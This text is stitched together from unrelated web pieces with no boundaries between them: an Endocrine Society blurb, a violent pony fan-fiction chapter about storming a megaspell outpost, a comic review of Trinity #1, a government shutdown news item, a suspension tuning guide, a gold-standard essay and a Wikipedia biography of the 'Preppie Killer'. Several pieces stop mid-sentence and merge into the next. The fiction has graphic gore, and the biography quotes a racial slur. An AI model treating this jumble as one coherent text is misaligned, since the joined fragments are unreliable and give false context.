Endocrinologists are at the core of solving the most pressing health problems of our time, from diabetes and obesity to infertility, bone health, and hormone-related cancers. The Endocrine Society is the world's oldest and largest organization of scientists devoted to hormone research and physicians who care for people with hormone-related conditions.Tyshon "TJ" Gardner is a cook and baker at NJIT.
A chorus of oohs and ahs erupt from the room when Joseph Cavanaugh reveals Gourmet |
I got back up, my legs quavering and ears ringing as Twintails groaned in pain, standing up as well. We both stared back at the source of the light, seeing a giant mushroom-shaped cloud climbing far into the sky, the top expanding outwards and folding in on itself. I panted, confused and terrified. W-was that a Megaspell!? Who dropped it!? And why? My mind raced as I glanced over to Twintails, who looked equally as frightened shitless.
As my hearing started to come back, I heard screaming coming from the streets below. Rushing to the edge of the building, looking down granted me to the sight of the few ponies back in Mooscow in a full panic. Some were rushing into houses, others having collapsed on the ground, knocked out by the shockwave reverberating about. Twintails hurried over to me, but before he could say anything, my horn flared up and there was a flash of blue light. We landed in Cross’s kitchen, where Cross, Featherweight, and Buzzy were trying to reorient themselves. “What the fuck just happened!? Was there another strike? I thought the Rangers wiped the Enclave out!!” Cross shouted, hyperventilating. I rushed over to him and pulled a chair over with my magic, sitting him down.
“Calm down, calm down,” I said, unsure if I could even follow my own advice. Cross breathed heavily, Twintails rushing over to Featherweight and pulling him into a frightened embrace. “There, uh…” I gulped, trying to focus. Everything was going so well just a few minutes ago... “There was a Megaspell detonation near our Stable's mountain…” Cross’s pupils shrank down and he shook his head, myself hugging him tighter for a few moments, pushing backa nd looking into his eyes. “No, no, you’re okay, I’m okay… we’re all okay…”
“For now!” He blurted out, running a hoof through his mane. “We don’t know when another one could come! Not to say anything about the radiation of this one! Who launched this one? Is it the Enclave again?!” I looked over to Twintails, who was staring at me with the same worried expression. Turning back to Cross, I placed my front hooves on his shoulders. Oh, this isn't going to be easy to explain...
“Cross, you need to calm down and listen to me, or we’re not going to be able to solve this.” Cross tried to slow his breathing, taking in a few ragged breaths before he was able to look me in the eyes and pass along a nod. “Alright… look, when Twintails and I first met up outside our Stables, we ended up finding this place, the Northern Equestraian Artillery Megaspell Outpost. There was a pony there, the Doc. He was trying to rebuild a Megaspell firing device, a massive cannon, and hired us to look for parts.” Cross stared at me, dumbfounded. Well, better than screaming... “We stopped working for him a while back, but it looks like he’s managed to find the rest of the parts without us. Goddesses forbid...” I sighed, looking over to Twintails again. He was still staring at me in the same way, but there was almost a slow spark of determination in it as well.
“Cross, you need to run over to Razorwing’s shop. Tell him what I told you, and give him the coordinates of NEAMO.” I punched them into his Pip-Buck, a small icon appearing on the map. Cross tried to protest, but I spoke over him. “Twintails and I are going to head out in the tank, I don’t think we’ll have any time to wait if he’s ready. Just tell him to take the road and get as many of the Steel Rangers he can, he’ll spot us sooner or later.” I paused for a moment, looking at the royal blue stallion before me, the way his face was - filled with dread. “This won’t be goodbye, Cross, I promise you. We will be back. I love you.” I pulled him into a kiss, holding it for a few moments before heading back to our bedroom for my saddlebags.
The others followed me, Twintails hitching up his own bags and Cross grabbing the small gun I’d bought him, slipping it into his own coat. Featherweight stopped Twintails, pulling him aside. “Buzzy and I will fly back to the Turnpike, we’ll need to get more bombs than what we have, and we'll get the word out to a few more as well. Don’t wait up for us.” He picked up Buzzy and tossed her onto his back, looking back towards my pegasus friend. “I’ll see you soon, Twinny.” He winked and we all headed outside, Twintails and I climbing up onto the tank as Featherweight disconnected his wagon from it, Buzzy then helping to hitch it onto him.
I watched as Cross ran down the street, and past a few ponies running in the opposite direction. He skidded a bit on the snow, but turned the corner on the way towards Razorwing’s shop. Featherweight ran to the end of the tank, pulling his cart behind him before leaping into the air and taking off, quickly turning and heading west. Swinging the tank’s hatch shut and locking it in place, I followed Twintails to the driver’s seat, watching as he pulled a few levers, the engines roaring to life. I sat myself in the gunner’s seat, picking up the heavy cannon as he spun a crank, widening the view port as to not run over anypony still rushing through the streets. He carefully navigated us to the gate, stopping as Bloodbeak flew over to the side door, hammering on it. Twintails undid the latch, and the griffon nearly ripped the thing off of it's hinges. “What the hell just happened?! You two aren’t going out to that mountain, are you?” She asked, helping a few ponies lift an unconscious unicorn onto a stretcher.
“That Megaspell was shot from a place called NEAMO, it’s up north from here.” Twintails said quickly, looking anxiously at the gate. “Minty sent Cross over to Razorwing’s place to explain. Please, if you’re able to help, go and find him. We need to leave -now-, before the Doc has a chance to fire Megaspell Mary again.” Bloodbeak looked more than a little confused, but Twintails simply pulled a lever and the tank began to trundle forwards again, straight for the closed doors. The side doors banged loudly as the gate creaked open, Bloodbeak just managing to get to the controls before the tank moved through, watching as we turned down the street and began to head north.
As I gazed down the heavy machine gun’s sight, from the corner of my eye I noticed the radio embedded into the tank, the frequency dial wobbling a bit as we crunched through the snow. Setting the gun down, I turned the chair, leaning down and dialing the radio to Hi-Fi’s frequency. Six-forty or Twelve-forty AM band, thank you catchphrases. “This is an emergency broadcast of the CONELRAD radio system. There has been a deliberate Megaspell attack around the area of Emerald Ridge. To residents of Mooscow, Quebuck, and Trotisk, it is advised to evacuate to the nearest fallout shelter or Stable at this time in accordance with Civil defense measures. We repeat, there has been a deliberate megaspell attack against the town of Emerald Ridge, please evacuate to the nearest fallout shelter or Stable at this time.” I pulled out a spare emerald charge pack and plugged it into my temple, feeling the rush of energy course through me as I lowered my horn to the radio. Alright, going to need a lot of power to override the transmission...
Before my magic sparked to the radio, however, the automated broadcast’s voice crackled out to be replaced by a much less comforting one. “Good morning Northern Equestria, this is the good Doctor Cherry Cove.” He spoke in a flat, eerily calm tone. “Many of you may be wondering what the blast was just a few moments ago. This was a test of the recently reconstructed and re-enabled Megaspell firing mechanism, or ‘Megaspell Mary’, as it had been deemed before the war. Now, you needn’t worry, this weapon is only to be used when absolutely necessary, as per my bidding.” There was a bit of scuffling, sounding like some papers being tossed aside and adjusted. “However, this necessity is going to come with some… sacrifices. If you’ll indulge me for a moment, there’s a little bit of a history lesson I have.” Doc cleared his throat as I looked over to Twintails, both confused and nervous. His matching expression certainly was not helping any...
“One hundred and ninety years ago, two great empires were at war: Equestria, and the Zebra Empire. Now, Equestria proclaimed itself to be a kingdom of harmony, though you can take a look around and see how well that turned out.” There was another shift of papers. “And yet, even after these bombs fell, Equestria refused to change. Zebra containment and execution, Ghoul deportation and murder, anything they could do to remove these ‘lower’ life forms was done. Well, we’re now able to balance this out. Any city having previously shunned those different will face swift eradication. I’ll be formally starting with our once great capital, Canterlot. Any town leaders wishing to remain on the map will simply need to contact NEAMO for annexation. Otherwise… you’ve got two days.” Doc’s voice faded into static.
I immediately bent to the radio, my horn sparking into it. Alright, need to get this message out fast. “This is Minty Candy and Twintails, requesting assistance. We are attempting an assault on the Northern Equestrian Artillery Megaspell Outpost, coordinates: 44.8 degrees north, 91.5 degrees west. Please note, this is a severely dangerous expedition, only those excelling in combat should assist. Repeat, requesting assistance for a direct and full assault on NEAMO.” My magic died as the emerald charge pack dried out, leaving me drained. I pulled out another energy cell and plugged it into my temple, waking myself up a bit. Twintails looked over to me, a little appalled.
“What the hell, Minty? Now Doc’s definitely going to know we’re coming!!” I shook my head, slipping the drained batteries into my saddlebags. The tank trundled along the road, Twintails turning the corner and beginning to drive along the edge of the cliff. The RobronCo factory came into view at the far end of the valley, several robots patrolling the outskirts of the facility.
“There’s no way the Doc wasn’t expecting company anyway, I’m sure he’s already got his security guarding every door.” I spun the heavy machine gun towards some of the robots outside the factory, unsure if they belonged to Jumper Cables or the Doc. “Besides, he doesn’t know about the tank yet. Or Featherweight's battlewagon.” I smirked, Twintails joining me with a chuckle, pressing the pedal downa s far as it'd go. As we passed by the factory, Jumper Cables ran out, flagging us down. Twintails pulled the tank to a skidding stop, myself opening the window hatch on my side. Cables stopped in front of us, panting and exhausted, and being followed by four heavily armored security robots.
“I just got your distress message, you’re lucky you guys weren’t past us already.” She motioned to the robots, which all beeped and surrounded the tank. “These are all the robots I could spare, but hopefully they’ll help. Just try to not lose all of them; business won't exactly be booming if you can't do this.” She waved and ran back inside as we thanked her, starting up the tank again, the robots easily keeping pace with it. The tank crawled along the cliff path as I grew steadily more agitated by its slow speed and the winding road towards NEAMO.
I turned to Twintails. “So, do you have any ideas of what exactly to do when we get there?” I asked, suddenly realizing how late I asked this question. Twintails began to close the view port, thinking for a moment. The robots scanned the area, the air hauntingly quiet, save the occasional gust of wind that blew past the tank.
“Well, I suppose we ought to start out with firing at a distance with the tank and let the robots head in for close combat,” He said, flicking a switch so the lights inside the tank shut off. “See if you can pick off some of them with Jolts, then we’ll head in and make our way to Megaspell Mary.” He paused for a moment. “I just hope they don’t notice us first… though I’m not really sure how we can disable her right now either, short of landing a shot down her barrel…” I wracked my brains, trying to think of something in the military base that might useful. He shook his head a bit, leaning forwards and peering out the viewport. “Well, first things first, we need to find the Doc.”
The tank turned the corner and began to head downhill, finally. The glow from NEAMO was barely visible in the lightly clouded daylight, still a few miles off in the distance. Twintails turned off the road, beginning to head up onto the nearby mountain so we could see down into the valley that held the facility. Neither of us said anything, almost scared to breathe as we circled the large buildings. I pulled out Jolts, resting it on the large machine gun as I looked down the scope towards the glow. There were an almost unrealistically large number of robots patrolling the area, interspersed by the occasional ghoul wielding several large weapons. The large dome that housed Megaspell Mary was only partially open, the gigantic barrel of the gun just visible between the large metal plates.
I looked over to Twintails, taking in a deep breath, my heart pounding in my throat. “Ready?” He nodded, climbing out of the driver’s seat and moving up to the cannon, myself swinging open the side dorway and aiming down at the facility far below. I heard the metal hinges to the back of the cannon screech open before Twintails slid the shell into it, a flick of a switch and hum of talismans catching my attention for a moment before turning focus back to NEAMO. The breech slammed shut, and Twintails began to adjust the cannon's aim, focusing towards the large dome. I settled myself in, staring through Jolts’s scope again. I flicked a little switch, the cell charger humming with life as I lined up the sights with a ghoul standing guard near the main doors and gulped, trying to collect myself. My horn flared up for a moment, and I pulled the trigger.
The ghoul dropped to the ground as the steel bolt flew clean through his skull, spreading his grey matter all across the snow. The other guard leapt in fear, and immediately began glancing about for the source. There was a loud explosion as Twintails fired off the tank at Megaspell Mary’s dome, screaming in with a bright trail behind it. The shell slammed into the metal, but as the smoke cleared, we could see it had done nothing, aside from scorch the siding. The ghouls’ gazes all followed the smoke trail, spotting us on the hill - well, that bit of stealth sure didn’t last long. I plugged in another set of microfusion cells and took aim at a ghoul on top of one of the facility's buildings, who was attempting to aim a rocket launcher towards us. Giving a hard yank on the trigger, his head disappeared into a red mist as he fell off, landing ontop of another ghoul. The ghouls began to take places at fortified barriers, the robots charging up the hill towards us. Jumper Cables’ robots turned and began to run towards them, both sides firing off lasers and missiles as Twintails reloaded the tank.
I slung Jolts back over my shoulder as I instead took a hold of the large machine gun, spinning it towards the oncoming robots. My magic fed the belt of massive bullets in, as I began to fire sporadically. Snow was kicked up around them, a few of the Doc’s robots falling as their CPUs were shattered by lead and high explosives. Bullets and lasers ricocheted off of the tank, a few ghouls manning mounted guns. Twintails turned the cannon towards a large collection of them, and another explosion filled the air as it connected with its target. The ball of flame rose high into the air as I attempted to keep the robots at bay, thinking long enough to get the side door shut. One of Jumper Cables’ robots fell, the missile it had been about to fire shooting off towards a heap of radioactive barrels.
As I swung the machine gun around and fired at a few ghouls that were attempting to recover some missile launchers from dead ghouls, I noticed one large group rotating a howitzer towards us, Twintails firing off a shell in a different direction. My heart stopped as a faint glow emanated from the end of the barrel; Oh dear Celestia. Before they could fire, thankfully, something rained down on them, obscuring them in a massive cloud of snow and balefire. I tried to look upwards through the narrow view port, and caught a glimpse of a large cart, from which several bombs were being dropped. I couldn’t help but laugh as Featherweight and Buzzy swung around, Buzzy tossing more balefire eggs out of the cart as Featherweight fired off his heavy cannons. Talk about record timing.
Twintails turned the top of the tank towards another howitzer, which promptly exploded as he fired at it. I took a hold of the machine gun again, continually firing at the waves of robots, the bullets piercing their metal. Twintails stuck his head down from the cannon’s firing room. “I’ve only got a few of these shells left, we’re going to have to go in soon!” He shouted over the sound of the various explosions, guns, and laser fire. I nodded in response and he began to load another shell. I hopped over to the driver’s seat, pulling levers and cranking the view port as open as I dared. Cables’ robots followed us as we moved in on the facility, able to keep the diminishing number of robots off fairly well. Bullets and laser continued to pelt the side of the tank, the occasional missile striking and knocking me about in the seat.
Twintails shot the cannon again, taking out another group of ghouls wielding missile launchers and shotguns. Featherweight swerved as a rocket came dangerously close to hitting him, but the ghoul carrying the launcher was quickly dispatched by another barrage of bombs from Buzzy. I maneuvered the tank as best as I could from incoming projectiles, but I could feel myself wanting to yell at how sluggishly it moved.
Still, as I moved in, Cables’ robots had managed to take out nearly all of the robots that were initially charging at us, and were soon starting to focus on the few remaining ghouls. inside I stopped just outside the fence, my Geiger counter starting to tick. I stopped the tank, hopping back over to the gunner’s seat and scanning the area, but nearly all the robots and ghouls either lay dead on the ground, or were scurrying up the mountains. I climbed out of the seat, switching the tank off. The engines died down as I climbed up the ladder to Twintails, who was loading in the last shell. He turned the barrel of the cannon towards the front doors of the facility with a whirr of the motor drive, smirking widely. “Care to do the honors?”
I grinned in response, encompassing teh trigger in my magic and giving it a firm tug. The cannon fired and cleanly blasted apart the entrance to the building, stone and wood rubble flying in all directions. We climbed out of the tank, myself drawing my plasma rifle as Twintails readied his grenade rifle and Kindness, the wind whipping at our manes as our Geiger Counters clicked faster. Featherweight and Buzzy circled the area a few times before landing beside the tank. “Good to see you two doing so well.”
We jumped off of the tank, landing in the dirty snow beside him. “You guys practically took out half of them too, you know.” Twintails let off a small laugh, the bits bouncing in front of him. Before we could say anything more, though, a flash of plasma hit me in the side, knocking me down fast. Oooh, fuck fuck fuckity fuck on a fuck sandwich with fuck on the side... I felt the superheated material burn away some of the fabric in my coat as I tried to regain the breath that had been knocked out of me, Featherweight already on alert and Twintails moving over to me. I looked over towards the source of the blast, seeing White Thunder in the doorway hefting a large plasma caster, his facemask fallen away to reveal the ghoulish skin beneath. Twintails helped me up, and we ducked behind the tank as White Thunder shot off another blast of plasma.
“So much for pleasantries,” I said, charging up Jolts again. I popped around the side and fired off a shot, but it instead flew through a broken lamp swinging from the ceiling. White Thunder shot off a few more blasts of plasma, the treads of the tank starting to show serious degradation. Buzzy tried to lob a grenade towards him, but he managed to shoot it out of the air, causing plasma and shrapnel to rain down.
“Alright you four have got two options.” Thunder shouted. “Either you drop your weapons now and walk away, or I radio to Doc he’s clear for another launch. We’ve got plenty of those Megaspells, and Doc’s not too hung up about needing to use one on Trotisk.” We waited for a moment, all of us completely silent. My heart still pounded in my throat. N-no, Trotisk? He wouldn’t bother… but I shook my head, knew that he would. There was a crackle of static as Thunder spoke into a radio mounted on his hoof. “They’re not surrendering, start the sequence.” There was another moment of silence before the dome atop NEAMO began to rotate, the metal screeching horribly as the barrel turned westward. The dome’s plates slide apart slightly, revealing the barrel and the enormous back of the cannon. Once the barrel was oriented properly, Thunder spoke up again. “Now or never, boys.” I gulped, trying to think of what to do. I looked over to Twintails, hopelessness in his eyes.
Suddenly, though, he stood up and walked out in front of Thunder. “We’ll surrender our weapons. But we’re not walking away.” He tried to keep his voice level, but I could hear the fear causing it to quaver slightly. “You’ll take us to Doc, or we’ll wipe this place off the map.” His expression became more stern, while Thunder’s changed to one of clear disbelief. “We’ve still got a shell left in the tank, and a lot more friends coming. It wouldn’t be too hard for me to get a shot into that dome now the doors are open, and I think you’re smart enough to know what’d happen when a balefire egg goes off next to a megaspell.” Twintails actually began to smirk as Thunder’s pupils shrank. My heart couldn’t have been pounding faster.
White Thunder glanced at the large cannon of the tank, stepping back slightly. He looked back to Twintails, sweat starting to bead at his torn up forehead. Both he and Twintails stood staring at each other, frozen in place, before Thunder collected himself. “Fine, now drop your weapons.” He motioned with his caster to the ground. Featherweight, Buzzy and I all stepped out from behind the tank tentatively. I swung Jolts off of my back and pulled out my plasma rifle and Sugar’s laser pistol. Twintails dropped his weapons as Featherweight unhooked himself from the cart.
Thunder waited until we were all past him before he turned, keeping the arcing needles of the caster pointed at all of us. We began to head down the hallway, Thunder directing us towards the main room. It wasn’t long before we reached the large blast doors to Megaspell Mary’s chamber. Thunder punched in a code and the doors slid open, revealing the mammoth weapon, the computer arrays at its base all beeping and whirring softly. Doc was sitting at a wide panel of buttons and lights, and turned in his chair as he heard us approach. “It’s been a while, hasn’t it? I’m not entirely sure why you’d bothered coming to me; I’m not exactly any further away from firing Mary. Then again, I did promise you two front row seats to the first launch. I suppose the second will have to do.” He smirked as he twisted one key in the panel, a warning klaxon going off a few times before his hoof moved to the second one.
Before he could twist it, there was an explosion behind us, dirt and rubble flying in all directions. A large chunk hit Thunder in the skull with an audible crack, sending him sliding along the ground, streaking blood on the floor. Doc was stunned as the dust cleared, revealing Sweetie, Nova, and Nikolai. A large rocket launcher was attached to Sweetie’s back, who was giggling excitedly at the carnage she’d caused. Nova tossed me Jolts as she balanced Kindness on her back. “Saw these outside, thought you might want them back, sweetie.”
I caught Jolts with my magic and turned back to Doc, aiming towards him and charging up another shot. He immediately moved back to turning the next key, but Nikolai was swift in blasting a hole through his chest, and the maneframe, with a shot from Ivan before he could. He stood in shock for a moment as blood began to drip from the hole, the ghoul earth pony falling aside and landing on the floor. His gore pooled around him as he let out a few last sputtering breaths, Twintails and I trotting up to him. Grinning up at us with a sick, twisted smile, tears of pain streamed down the side of his face. “Well, g-go on.” He coughed up blood, a feat I'd think pretty damn impressive considering he didn't exactly have much lung left. His head fell towards his forearm, an instant look of utter fear coming on Twintails' face. Oh... oh fuck. “F-four minutes bef... reactor fail... Warheads go off... we all die.” He let out a last, raspy chuckle, the light fading from his eyes as he stared up at the gun. He breathed his last, sputtering his last two words through the blood, taunting.
“Have fun.”Continuity. It is the concept that stories told over many decades by many writers about a great many characters nevertheless have a cohesive and orderly narrative structure unifying them. Some fans consider continuity to be comics’ most sacred cow, while other readers regard it as the one most in need of slaughter. The former regard continuity as a means of lending an air of verisimilitude to superhero stories, embracing the notion that fictional universes such as DC, Marvel, or Valiant’s are not so much created as chronicled, the writers mere witnesses to worlds which exist independent of our observations; of course such worlds would have a sensible and holistic history to them.
Trinity #1 (DC Comics)
I am by no means opposed to this metaphor – and maybe more – for the sub-creative process, but nevertheless I hold with those whom call continuity the wretched relic of our shameful past when the Marvel method and artist bullpens stripped writers and pencillers of their dignity and recognition. Readers have become more savvy since that time, and know that, despite DC’s insistence, Azzarello’s Wonder Woman in her eponymous series was far from the same character as John’s in Justice League. And when editorial staffs try to homogenize the two versions, continuity becomes chains which strangle storytelling and stifle creativity. Some auteurs are granted more freedom than others, such as Snyder on Batman or Johns on Green Lantern, but for the most part it’s no coincidence that many of the best comics of the Modern and Post Modern ages are (or were originally) out-of-continuity: The Killing Joke, All-Star Superman, American Alien, etc. Come the (inevitable) next Crisis or Rebirth or whatever DC names their next line-wide reboot, they should finally dispense with the concept of continuity, becoming more so a corpus of loosely related myths, befitting the American pantheon that their stable of characters have become.
Giving this opposition to continuity as such, I should loathe Trinity #1. It’s absolutely lousy with references to recent events throughout the DC universe and obscure episodes from far back in the characters’ personal histories. But instead of such call-backs removing the readers from the story at hand, Manapul in every instance uses continuity in service of characterization. None of what Manapul includes are the editorial asides of yesteryear, telling the reader which back-issue or related title to pick up on their next trip to their local comic shop. Rather, Manapul has carefully curated a selection of slices from the past and present of Batman, Superman, and Wonder Woman for the sole purpose of serving the story at hand.
For example, Wonder Woman relates the events of her own ongoing to Lois after dinner. In the hands of a less skilled storyteller such could have come across as cheap cross-promotion, but Manapul uses Diana’s failed friendship with Barbara Minerva only to highlight her very genuine motivation in seeking Lois as a friend, cementing that bond by the shared sense of exile experienced by the two – Diana from Themyscira and Lois from the pre-Flashpoint Earth-Prime.
Likewise with Clark regaling his dinner guests with his recollection of the pre-Crisis’ Batman’s infamous fashion faux pas wherein he flamboyantly dressed in a garish gradient of every color in the rainbow. Ostensibly such was to show his son Johnathan that even in his Batman-persona Bruce was not so solitary and aloof as their dinner guest had been suggesting. This strange callback proves that despite dressing a preteen in pantyhose and pixie boots to fight gun-toting gangsters, Batman nevertheless was protective of his partner. Such worked well enough in the scene on its own, but also serves to establish the characters’ motives later in the series when the “super-sons” of Robin and Superboy are eventually introduced, demonstrating that their dads aren’t deliberately endangering them; far from it, that the well-being of their wards is paramount.
I’ve never been a particular fan of the cartoon-inspired aesthetic which Manapul has made his signature style; I much prefer the adrenaline-infused semi-realism of Jim Lee, Ivan Reis, or Jason Fabok – who like Manapul collaborated with Johns during his run on Justice League. Yet even despite my bias, I’m hard-pressed to name another Rebirth series with such stunning art as Trinity. This is undoubtedly due to Manapul’s full freedom as an auteur on this title. The story and its images were coeval in his conception; the plot, the panel layouts, the palette of colors, were all part of a single creative act. That cohesion of vision is absolutely felt throughout, and the book is better for it. Such was somewhat unexpected, given how often I’ve criticized Hitch in his attempt during Justice League of America to perform the dual role of writer and artist, but Manapul proves here just how special the end result can be on those occasions when the gambit is successful.
Trinity is a triumph. It makes the same “mistakes” as other Rebirth books – an overreliance on convoluted continuity, handing over writing duties to creators who work better as artists, etc – and succeeds, surprisingly, by doing exactly the same. Rarely if ever have continuity call-backs been used so effectively to build out characters, not merely by reaffirming the development that took place in the past, but rather by making salient comparisons to the present plot. Whereas the Superman titles seem to have a ‘90s fixation since Rebirth began, Manapul pulls references from every era – the Silver Age, the Dark Age, and even the current Postmodern Age – to deliver a distinctive take of the Trinity that’s truly his own.Even if the government reopens this week, it may shut down in less than two months in a fight over contraception.
Congressman Steve Womack (R-AR) told reporters Tuesday that the new House bill to end the government shutdown and prevent a default intentionally funds the federal government only through mid-December—an attempt to wage another fight over the contraception mandate in the Affordable Care Act. The debt limit would be extended into early Feburary.
Womack, a second term representative from Northwest Arkansas, said risking another government shutdown 10 days before Christmas "boils to conscience protections that basically become compromised on the first of Janauary." He said that "a provision goes into effect [on January 1] that is violation of conscious beliefs of members of our party." He was specifically referring to the contraception mandate that requires almost all employers, save churches and houses of worship, health insurance which covers contraception. Womack did express his hope that Congress would come to a budget deal before that deadline and return to "regular order."
This provision of Obamacare has been deeply controversial and has been met objections from religious institutions not directly affiliated with a church as well as businesses whose owners have moral objections to providing contraceptive coverage. Many Republicans have derided the contraception mandate as an attack on religious freedom.
The House bill, which is expected to be voted on tonight, also prohibits the Treasury from using "extraordinary measures" to deal with future debt limit issues as well as the Vitter Amendment.We’ve been working on an in-depth story on chassis and suspension tuning that’ll cover a lot of complicated variables including optimizing tire grip, fixing suspension geometry, dialling in spring rates and sway bar rates as well as dealing with shock damping, but for those of you looking for a quick and easy set of guidelines for fixing a handling imbalance in your car’s setup at the race track (we’re talking road course setup here), this is for you.
It’s important to keep in mind, however, that not every car is going to react exactly the same to these changes due to differences in weight distribution, suspension design, and drivetrain configuration, so be sure to keep detailed notes on any setup changes you make and how they impact on your car’s balance on corner entry, mid-corner, and corner exit so that you can begin to build a better understanding of how it’s reacting to your driving style and the setup changes you’re making to it. We like the iPad app Laptimizer as a way of keeping notes on our car’s setups, but even just a notebook and a pen is a huge step in the right direction, as is owning a proper tire pressure gauge and tire pyrometer (but more on that in our in-depth nerdtastic suspension tuning story coming soon).
It’s also worth mentioning that if you do a quick Google search on ‘Suspension Tuning Cheat Sheets’ you’ll find quite a lot of information that attempts to summarize the complex relationship between a car and its contact patches. Some are quite good, some are confusing or share what we consider misinformation. So we’ve attempted to distill what’s out there, combine it with our own racing experience and setup tinkering, and offer up these admittedly simplistic but hopefully still useful guidelines about how to reduce your car’s tendency to understeer (loss of front grip, which can result in fun-sucking front end plow) or oversteer (loss of rear grip, which can result in fun but time-consuming skids). In the more detailed story to come, which our buddy Andrew Wojtezcko from Auto Analyser and Mantella Autosport has graciously offered to help us with, we’ll give you all the theory and background information so that you’re not making these adjustments on blind faith, but rather based on a solid understanding of suspension fundamentals.
Lets start with understeer, since nothing robs a car of cornering speed like this hideous invention of insurance companies and overly conservative car companies. That said, a touch of understeer can be a really fast setup, especially at big, fast road course like Mosport. Plus a bit of understeer gives you a bit of safety if you overcook corner entry, since it’s safer to plow offline a bit than it is to oversteer off the track (and potentially back your car into a barrier in the process). Point being, set your car up to have the balance that inspires the most confidence in you as a driver. Just because your fastest friend likes a loose setup where the car rotates and oversteers early in the corners doesn’t mean that’s the right or fastest setup for you. Personally, in FWD and AWD cars I like a bit of understeer, since I find oversteer in these types of cars to be pretty sudden and less intuitive to control, but with RWD cars I like a fairly loose setup since it lets me balance the car more with the throttle. To each his/her own, so do some experimenting with extreme setups to see if you’re more of an understeer or oversteer driver.
One caveat to the above recommendation for reducing mid-corner understeer. If your car has a fairly stiff setup and thus doesn’t have much body roll, then the suggestions above should work well, even though they seem counterintuitive. Generally speaking, mid-corner push is a unique animal that requires you doing the opposite of what you do to fix corner entry understeer or corner exit understeer, but if your car has excessive body roll then you may need to do the opposite of what we’ve listed as mid-corner adjustments. Confusing, I know, but if you keep good notes it’ll always be easy to revert to your last best setup if the car starts to push even more mid-corner. Just remember that mid-corner steady-state tuning is all about relative roll resistance across the front and rear axles, so changes in front roll stiffness relative to rear roll stiffness should move handling balance one direction or the other.
Oversteer can be a much more enjoyable problem to |
cash, they say that it isn’t enough. When the market responds positively, they take credit for fixing the problem. The state acts as if it is the one infallible institution.
To top it off, the unreconstructed Keynesian Paul Krugman has won the Swedish central bank’s Nobel Prize in economics, not for his reflationist views but for his trade theory. Nonetheless, his overall oeuvre will receive new attention, and his views on the crisis are identical to the kind of fallacy-ridden central planning that caused the downturn of 1929 to turn into the Great Depression. Put his ideas in charge, and we are doomed.
Instead, of course, they should turn to those who both predicted this crisis and who offer a coherent explanation of it. The most important priority right now is dramatic monetary reform. In an ideal world, officials would follow the Mises/Rothbard strategy of defining the dollar as a weight of gold and permit all-round convertibility at all levels.
The immediate criticism is that this step would curb the power of central bankers and government to create money out of thin air to fix the crisis. But the criticism alone makes the point. It would indeed restrict their power and that is precisely why it needs to be done. Good liquidity needs to be based on savings and capital, and it cannot be created by decree. Decrees end up creating money out of thin air, which ends up overriding market preferences and generating inflation. Everything officials do to fix the crisis ends up prolonging it.
Here’s the core problem of the gold standard idea. It is indeed the best path. But the people charged with implementing it will invariably be the very people who have caused the current problem, and have the least incentive to change the system. We’ve seen in the last several weeks how these people are willing to blow up the world rather than face liquidation. So the question becomes: how can we take steps toward sound money and banking without depending on the goodwill of the officials in charge?
The answer is provided in some of the writings of Jrg Guido Hlsmann and, before him, Hans Sennholz. Guido is a student of Rothbard’s while Hans was a student of Mises’s. Both agree on an alternative path forward, which embraces radical decontrol of money and banking in the hope of a currency competition that will at least allow gold currency as an option. Guido’s book on the topic will be appearing soon, and Hans Sennholz’s relevant work here is Money and Freedom, which is newly available from Mises.org. This is also the approach that Ron Paul, a longtime advocate of the gold standard, took during his campaign.
Currently the government has in place severe restrictions on what currency you can use as legal tender. The courts do not enforce other kinds of monetary contracts. Anyone who comes up with alternative currency is going to face possible prosecution. For this reason, the dollar is mandatory. We will be stuck with it even if the feds are destroying it. There is no way out.
All these restrictions need to be repealed as a step toward monetary reform. People should be free to use any money they want. More than that, people should be free to introduce new monies based on gold or silver or any other commodity, and develop payment systems based on this, whether that means paper signifiers or digital goods. The market is capable of policing this system the same way it does retail trade.
Money originated in a market competition long before the age of the nation state. It is a product of the market, not of state edict or some mythical “social compact.” Nor is there a reason to put a stop to the competitive process once it has decided upon a single money. Money can and does fail, especially once it is nationalized and given over to a central bank to manage. Permitting freedom in money production and use amounts to permitting market forces to continue to select among a variety of choices.
In many ways, this proposal finds support in the work of F.A. Hayek, who also advocated competitive currencies. But this one goes further in allowing a full free market in minting money by private firms.
There is historical precedent for this in George Selgin’s Good Money. In England, early in the Industrial Revolution, the state also maintained a monopoly on money production but it failed to make enough small-denomination coins to meet the demand. Private button makers swung into action to make coins that were circulated widely. Their quality was controlled by market means, and they became far more desirable and widely circulated than government money.
What’s interesting here is how the market subverted what is called Gresham’s Law, which asserts that “bad money” drives good money underground. But that is only true if the “bad money” is artificially overvalued. In settings in which the official currency is failing and alternatives are available, the process can work in the reverse, with good money replacing bad as the primary means of exchange.
Not only is the soundness of the world economy at stake. There is a matter of human rights: the right to invent, trade, make contracts, and associate. The major strategic advantage of this program is that it is not asking the state to do anything positive with its monetary powers. A demand for monetary freedom — a repeal of legal tender and the opening up of the banking system to private enterprise — is nothing more than extension of the right to freedom generally.
Lew Rockwell Archives
The Best of Llewellyn H. Rockwell, Jr.For other people named Robert Chambers, see Robert Chambers (disambiguation)
Robert Emmet Chambers, Jr.[1] (born September 25, 1966), nicknamed the "Preppie Killer" by the media, is an American criminal. He pleaded guilty to manslaughter in the death of 18-year-old Jennifer Levin, whom he killed in New York City's Central Park during the early morning hours of August 26, 1986.
Early life [ edit ]
Robert Chambers was raised by his mother, Phyllis (née Shanley), a nurse who emigrated from County Leitrim, Ireland, to New York City. He served as an altar boy and attended a series of prep schools on scholarship, since his mother could not afford to pay private school tuition. Chambers did not prosper in an environment in which many of his classmates were considerably better off than he was, and had problems with poor grades and antisocial behavior, including stealing and drug abuse. Among the schools he attended were Saint David's School, Choate-Rosemary Hall, The Browning School and York Preparatory School.
Chambers was accepted by Boston University, where he completed one semester but was asked to leave because of difficulties, one involving a stolen credit card. He subsequently committed other petty thefts and burglaries in connection with his drug and alcohol abuse.
Unable to hold a job, he was issued a summons for disorderly conduct one night after leaving Dorrian's Red Hand, a bar located at 300 East 84th Street in Manhattan. Chambers destroyed the summons as the police were leaving the scene, yelling, "You fucking cowards, you should stick to niggers!"[2]
He later entered and was discharged from the Hazelden Clinic in Minnesota, an addiction treatment center.
Death of Jennifer Levin [ edit ]
